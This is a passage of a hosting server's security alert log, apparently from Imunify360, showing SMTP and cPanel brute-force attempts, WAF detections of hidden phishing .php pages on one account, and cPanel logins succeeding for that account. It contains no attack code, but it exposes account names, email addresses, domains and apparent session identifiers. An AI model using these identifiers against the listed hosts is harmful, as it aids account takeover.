[2026-06-16 00:17:21 +0000] info [cpaneld] 5.230.133.225 NEW ifxmoxbf:GXk1URl4Fg5iHOAw address=5.230.133.225,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 64.44.59.102
country_id: 6252001
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.625950040871454.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:17:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:19:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949193&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569144 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:18:21 dovecot_login authenticator failed for H=(56GTfeJ) [130.12.181.65]:63961: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:18:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.162.60.216
country_id: 1835841
description:
Jun 16 00:18:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.162.60.216 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.60.216
country_id: 1835841
description:
2026-06-16 00:18:24 dovecot_login authenticator failed for H=(136.151.48.116.static.netvigator.com) [221.162.60.216]:44452: 535 Incorrect authentication data (set_id=hr@anrtogo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:19:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:19:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:19:23 dovecot_login authenticator failed for H=(fZLnJILgii) [130.12.181.65]:53782: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:20:08 dovecot_login authenticator failed for H=(hU2hLdPM) [130.12.181.65]:55744: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:20:27 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:20:29 dovecot_login authenticator failed for H=(KmhRKp) [130.12.181.65]:51638: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.245.212.159
country_id: 3996063
description:
[2026-06-16 00:22:19 +0000] info [cpaneld] 177.245.212.159 - ma "GET /login/?login_only=1&user=ma&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ma (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:21:30 dovecot_login authenticator failed for H=(a0lAjO) [130.12.181.65]:52041: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.191.101.45
country_id: 3895114
description:
[2026-06-16 00:21:54 +0000] info [cpaneld] 45.191.101.45 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:21:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 113.81.189.75
country_id: 1814991
description:
2026-06-16 00:21:51 H=([113.81.189.75]) [113.81.189.75]:19368 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 188.43.224.49
country_id: 2017370
description:
2026-06-16 00:21:40 H=([188.43.224.49]) [188.43.224.49]:61458 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.162.238.33
country_id: 3469034
description:
[2026-06-16 00:22:00 +0000] info [cpaneld] 45.162.238.33 - matwtogo "GET /login/?login_only=1&user=matwtogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.223.35.106
country_id: 3996063
description:
[2026-06-16 00:22:10 +0000] info [cpaneld] 189.223.35.106 - matwto "GET /login/?login_only=1&user=matwto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwto (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.237.24.226
country_id: 3932488
description:
190.237.24.226 - - [16/Jun/2026:00:22:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144866&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D12561&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569337 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=12561" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3990.1486 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.237.24.226


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.170.247.223
country_id: 3017382
description:
[2026-06-16 00:22:02 +0000] info [cpaneld] 91.170.247.223 - matwtogoorg "GET /login/?login_only=1&user=matwtogoorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user matwtogoorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.191.184.15
country_id: 2017370
description:
[2026-06-16 00:22:17 +0000] info [cpaneld] 46.191.184.15 - mat "GET /login/?login_only=1&user=mat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mat (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:22:27 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:00:22:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:22:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:22:32 dovecot_login authenticator failed for H=(UqWuXzfXd) [130.12.181.65]:59815: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:23:16 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:23:18 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:19263: 535 Incorrect authentication data (set_id=commission)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.12.26.246
country_id: 690791
description:
[2026-06-16 00:24:18 +0000] info [cpaneld] 45.12.26.246 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:23:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:23:36 dovecot_login authenticator failed for H=(MaMQTuxwY8) [130.12.181.65]:49648: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.127.51.234
country_id: 294640
description:
[2026-06-16 00:24:27 +0000] info [cpaneld] 77.127.51.234 - relanceinf "GET /login/?login_only=1&user=relanceinf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinf (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:24:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:24:39 dovecot_login authenticator failed for H=(icE72x5ViD) [130.12.181.65]:62390: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.228.241.152
country_id: 3469034
description:
[2026-06-16 00:24:29 +0000] info [cpaneld] 45.228.241.152 - relanceinfotg "GET /login/?login_only=1&user=relanceinfotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 170.83.2.250
country_id: 3469034
description:
[2026-06-16 00:24:32 +0000] info [cpaneld] 170.83.2.250 - relanceinf "GET /login/?login_only=1&user=relanceinf&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinf (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.5.153.193
country_id: 1562822
description:
[2026-06-16 00:24:35 +0000] info [cpaneld] 117.5.153.193 - relancein "GET /login/?login_only=1&user=relancein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.176.108.69
country_id: 2464461
description:
[2026-06-16 00:24:52 +0000] info [cpaneld] 196.176.108.69 - re "GET /login/?login_only=1&user=re&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user re (has_cpuser_file failed)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:25:03 dovecot_login authenticator failed for H=(iwJgI7uZV) [130.12.181.65]:51659: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.24.213.179
country_id: 1605651
description:
[2026-06-16 00:24:23 +0000] info [cpaneld] 223.24.213.179 - relanceinfo "GET /login/?login_only=1&user=relanceinfo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relanceinfo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.209.250.118
country_id: 2017370
description:
[2026-06-16 00:24:29 +0000] info [cpaneld] 178.209.250.118 - relancein "GET /login/?login_only=1&user=relancein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relancein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 79.177.131.164
country_id: 294640
description:
[2026-06-16 00:24:39 +0000] info [cpaneld] 79.177.131.164 - relance "GET /login/?login_only=1&user=relance&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relance (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.90.86.106
country_id: 3686110
description:
[2026-06-16 00:24:45 +0000] info [cpaneld] 190.90.86.106 - relan "GET /login/?login_only=1&user=relan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relan (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.121.109.172
country_id: 3686110
description:
[2026-06-16 00:24:46 +0000] info [cpaneld] 186.121.109.172 - relan "GET /login/?login_only=1&user=relan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user relan (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.251.156
country_id: 2077456
description:
170.64.251.156 - - [16/Jun/2026:00:25:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.251.156


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.56
country_id: 2635167
description:
[2026-06-16 00:25:55 +0000] info [cpaneld] 5.230.133.56 NEW wcnyaruu:VIzLFvfg1lI8oWQ2 address=5.230.133.56,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:25:24 dovecot_login authenticator failed for H=(vC4VetwlBI) [130.12.181.65]:57899: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.33
country_id: 2635167
description:
[2026-06-16 00:25:55 +0000] info [cpaneld] 5.230.153.33 NEW wcnyaruu:xwrl1vzCONuybM9W address=5.230.153.33,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:25:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:25:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 173.211.89.140
country_id: 6252001
description:
[2026-06-16 00:26:49 +0000] info [cpaneld] 173.211.89.140 NEW ifxmoxbf:lBEWNWhy3OnCLL_t address=173.211.89.140,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.125
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.253555187234854.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.179
country_id: 2635167
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.135982596125384.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:26:28 dovecot_login authenticator failed for H=(Vrad96mxy) [130.12.181.65]:51715: 535 Incorrect authentication data (set_id=ambaltogo@cafe.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:26:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [16/Jun/2026:00:26:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.224.173
country_id: 1269750
description:
2026-06-16 00:28:20 dovecot_login authenticator failed for H=(nsg-corporate-173.224.187.122.airtel.in) [122.187.224.173]:34834: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:27:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:27:32 dovecot_login authenticator failed for H=(WAF2O6U) [130.12.181.65]:52237: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 170.64.251.156
country_id: 2077456
description:
170.64.251.156 - - [16/Jun/2026:00:28:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9921389&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781569141 HTTP/1.1" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:170.64.251.156


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:28:36 dovecot_login authenticator failed for H=(XMDbDY) [130.12.181.65]:57485: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:28:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:29:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:29:40 dovecot_login authenticator failed for H=(egZG7zN7) [130.12.181.65]:50825: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:30:00 dovecot_login authenticator failed for H=(DXY7RX2n) [130.12.181.65]:64386: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:30:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:30:40 dovecot_login authenticator failed for H=(NH0UWS8) [130.12.181.65]:57610: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.11.40
country_id: 1269750
description:
2026-06-16 00:31:13 dovecot_login authenticator failed for H=([106.13.181.87]) [122.160.11.40]:44446: 535 Incorrect authentication data (set_id=marketing@anrtogo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.115.237
country_id: 798544
domain: afriquerevelation.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:92.113.115.237||TA:92.113.115.237||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.11.40
country_id: 1269750
description:
Jun 16 00:31:11 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.11.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:31:21 dovecot_login authenticator failed for H=(tvNLnBUr) [130.12.181.65]:52657: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:31:40 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-16 00:31:59 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:62574: 535 Incorrect authentication data (set_id=berthold)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.150
country_id: 1835841
description:
2026-06-16 00:32:09 dovecot_login authenticator failed for H=([49.124.153.13]) [121.131.220.150]:41991: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.9
country_id: 130758
description:
Jun 16 00:32:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.137.131.9
country_id: 1814991
description:
2026-06-16 00:31:49 dovecot_login authenticator failed for H=(intereuropartc.19522243-138.bih.net.ba) [36.137.131.9]:41250: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.137.131.9
country_id: 1814991
description:
Jun 16 00:31:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.137.131.9 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.150
country_id: 1835841
description:
Jun 16 00:32:07 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.150 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 16 00:31:57 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.93.89.9
country_id: 130758
description:
2026-06-16 00:32:15 dovecot_login authenticator failed for H=(ADMIN) [185.93.89.9]:49906: 535 Incorrect authentication data (set_id=obiao@otr.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.12.181.65
country_id: 3190538
description:
2026-06-16 00:32:25 dovecot_login authenticator failed for H=(ycL5cxUXD) [130.12.181.65]:51663: 535 Incorrect authentication data (set_id=ambaltogo)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 130.12.181.65
country_id: 3190538
description:
Jun 16 00:32:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 130.12.181.65 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:00:34:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672850&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781570050 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 45.197.198.172
country_id: 3625428
description:
